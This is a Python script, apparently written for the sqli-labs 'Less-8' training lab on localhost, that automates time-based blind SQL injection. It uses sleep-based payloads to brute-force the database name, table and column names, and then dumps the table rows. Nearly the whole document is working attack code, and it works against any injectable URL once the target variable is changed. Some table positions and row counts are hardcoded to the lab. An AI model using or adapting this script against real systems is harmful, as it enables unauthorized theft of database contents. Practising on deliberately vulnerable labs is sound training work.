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| import requests
import time
def db_length(url):
print("[-]开始爆破数据库名长度.......")
num=1
while True:
db_payload=url+"' and if(length(database())=%d,1,sleep(3)) --+"%num
start_time=time.time()
r=requests.get(db_payload)
if time.time() - start_time <4:
db_length=num
break
else:
num+=1
print("[+]数据库长度：%d\n"%db_length)
return db_length
def db_name(url,db_length):
print("[-]开始爆破数据库名.......")
db_name=''
for i in range(1,db_length+1):
max=127
min=33
while abs(max-min)>1:
midx=int((max+min)/2)
db_name_payload=url+"' and if(ord(mid((database()),%d,1))>%d,1,sleep(3)) --+"%(i,midx)
#print(db_name_payload)
start_time=time.time()
r=requests.get(db_name_payload)
if time.time()-start_time < 4:
min=midx
else:
max=midx
db_name+=chr(max)
print("[+]数据库名：%s\n"%db_name)
return db_name
def tb_number(url,db_name):
print("[-]开始爆破%s数据库有几张表........"%db_name)
i=1
while True:
tb_payload=url+"' and if((select count(table_name) from information_schema.tables where table_schema='%s')=%d,1,sleep(3)) --+"%(db_name,i)
#print(tb_payload)
start_time=time.time()
r=requests.get(tb_payload)
if time.time()-start_time < 4:
tb_number=i
break
else:
i+=1
print("[+]%s库一共有%d张表\n"%(db_name,tb_number))
return tb_number
def tb_name_length(url,db_name,tb_number):
print("[-]开始爆破表名长度")
j=1
tb_name_length=[]
for i in range(tb_number):
while True:
tb_name_length_payload=url+"' and if((select length(table_name) from information_schema.tables where table_schema='%s' limit %d,1)=%d,1,sleep(3)) --+"%(db_name,i,j)
#print(tb_name_length_payload)
start_time=time.time()
r=requests.get(tb_name_length_payload)
if time.time()-start_time < 4:
tb_name_length.append(j)
j=1
break
else:
j+=1
print("[+]表名长度:%s"%tb_name_length)
return tb_name_length
def tb_name(url,db_name,tb_number,tb_name_length):
print("[-]开始爆破表名")
tb_name_list=[]
for i in range(tb_number):
tb_name=''
for j in range(1,tb_name_length[i]+1):
max=127
min=33
while abs((max-min))>1:
midx=int((max+min)/2)
tb_name_payload=url+"' and if(ord(mid((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1))>%d,1,sleep(3)) --+"%(db_name,i,j,midx)
start_time=time.time()
r=requests.get(tb_name_payload)
#print(tb_name_payload)
if time.time() - start_time < 4 :
min=midx
else:
max=midx
tb_name+=chr(max)
tb_name_list.append(tb_name)
print("\n[+]%s库下的%d张表为：%s\n"%(db_name,tb_number,tb_name_list))
return tb_name_list
def column_num(url,tb_name_list):
print("[-]开始爆破每张表的字段数量........")
column_num=[]
j=1
for i in tb_name_list:
while True:
column_num_payload=url+"' and if((select count(column_name) from information_schema.columns where table_name='%s')=%d,1,sleep(3)) --+"%(i,j)
#print(column_num_payload)
start_time=time.time()
r=requests.get(column_num_payload)
if time.time() - start_time < 4:
column_num.append(j)
print("[+]%s表对应字段数为:%d"%(i,j))
j=1
break
else:
j+=1
print("\n[+]%s表对应的字段数：%s\n"%(tb_name_list,column_num))
return column_num
def column_name_length(url,tb_name_list,column_num):
print("[-]开始爆破每张表的字段长度:")
column_name_length=[]
k=1
for i in range(len(tb_name_list)):
for j in range(column_num[i]):
while True:
column_name_length_payload=url+"' and if((select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d,1,sleep(3)) --+"%(tb_name_list[i],j,k)
#print(column_name_length_payload)
start_time=time.time()
r=requests.get(column_name_length_payload)
if time.time() - start_time < 4:
column_name_length.append(k)
k=1
break
else:
k+=1
em_list_length=column_name_length[:column_num[0]]
re_list_length=column_name_length[column_num[0]:column_num[1]+column_num[0]]
ua_list_length=column_name_length[column_num[0]+column_num[1]:column_num[0]+column_num[1]+column_num[2]]
us_list_length=column_name_length[column_num[0]+column_num[1]+column_num[2]:]
print("[+]%s表的%d个字段的字段长度分别为:%s"%(tb_name_list[0],column_num[0],em_list_length))
print("[+]%s表的%d个字段的字段长度分别为:%s"%(tb_name_list[1],column_num[1],re_list_length))
print("[+]%s表的%d个字段的字段长度分别为:%s"%(tb_name_list[2],column_num[2],ua_list_length))
print("[+]%s表的%d个字段的字段长度分别为:%s"%(tb_name_list[3],column_num[3],us_list_length))
return us_list_length
def column_name(url,tb_name_list,us_list_length):
print("[-]开始爆破%s表的字段名:"%(tb_name_list[3]))
column_name_list=[]
for i in range(len(us_list_length)):
column_name=''
for j in range(1,us_list_length[i]+1):
max=127
min=33
while abs(max-min)>1:
midx=int((max+min)/2)
column_name_payload=url+"' and if(ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))>%d,1,sleep(3)) --+"%(tb_name_list[3],i,j,midx)
#print(column_name_payload)
start_time=time.time()
r=requests.get(column_name_payload)
if time.time() - start_time < 4:
min=midx
else:
max=midx
column_name+=chr(max)
column_name_list.append(column_name)
print("[+]%s表的字段名分别为:%s"%(tb_name_list[3],column_name_list))
return column_name_list
def data_num(url,tb_list_name,db_name):
print('[-]开始爆破%s数据库的%s表有几条数据:'%(db_name,tb_list_name[3]))
i=1
while True:
data_num_payload=url+"' and if((select count(*) from %s.%s)=%d,1,sleep(3)) --+"%(db_name,tb_list_name[3],i)
#print(data_num_payload)
start_time=time.time()
r=requests.get(data_num_payload)
if time.time() - start_time < 4:
data_num=i
break
else:
i+=1
print('[+]%s数据库的%s表有%d条数据'%(db_name,tb_list_name[3],data_num))
return data_num
def dump_data(url,tb_name_list,db_name,column_name_list,data_num):
print("[-]开始爆破%s数据库的%s表中数据:"%(db_name,tb_name_list[3]))
k=1
data_length=[]
dump_data_list=[]
dump_data=''
for i in column_name_list:
for j in range(data_num):
while True:
dump_data_length_payload=url+"' and if(ascii(substr((select %s from %s.%s limit %d,1),%d,1)),1,sleep(3)) --+"%(i,db_name,tb_name_list[3],j,k)
#print(dump_data_length_payload)
start_time=time.time()
r=requests.get(dump_data_length_payload)
if time.time() - start_time > 4:
dump_data_length=k-1
k=1
break
else:
k+=1
data_length.append(dump_data_length)
for l in range(1,dump_data_length+1):
max=127
min=33
while abs(max-min)>1:
midx=int((max+min)/2)
dump_data_payload=url+"' and if(ord(mid((select %s from %s.%s limit %d,1),%d,1))>%d,1,sleep(3)) --+"%(i,db_name,tb_name_list[3],j,l,midx)
#print(dump_data_payload)
start_time=time.time()
r=requests.get(dump_data_payload)
if time.time() - start_time < 4:
min=midx
else:
max=midx
dump_data+=chr(max)
print(dump_data)
dump_data_list.append(dump_data)
dump_data=''
#print( dump_data_list)
print("[+]%s数据库的%s表的数据:"%(db_name,tb_name_list[3]))
for i in range(13):
print("%s\t%s\t%s"%(dump_data_list[i],dump_data_list[13+i],dump_data_list[26+i]))
#print( dump_data_list)
url="http://127.0.0.1/sqli/Less-8/?id=1"#目标url
db_length=db_length(url)
db_name=db_name(url,db_length)
tb_number=tb_number(url,db_name)
tb_name_length=tb_name_length(url,db_name,tb_number)
tb_name_list=tb_name(url,db_name,tb_number,tb_name_length)
column_num=column_num(url,tb_name_list)
us_list_length=column_name_length(url,tb_name_list,column_num)
column_name_list=column_name(url,tb_name_list,us_list_length)
data_num=data_num(url,tb_name_list,db_name)
dump_data(url,tb_name_list,db_name,column_name_list,data_num)
|
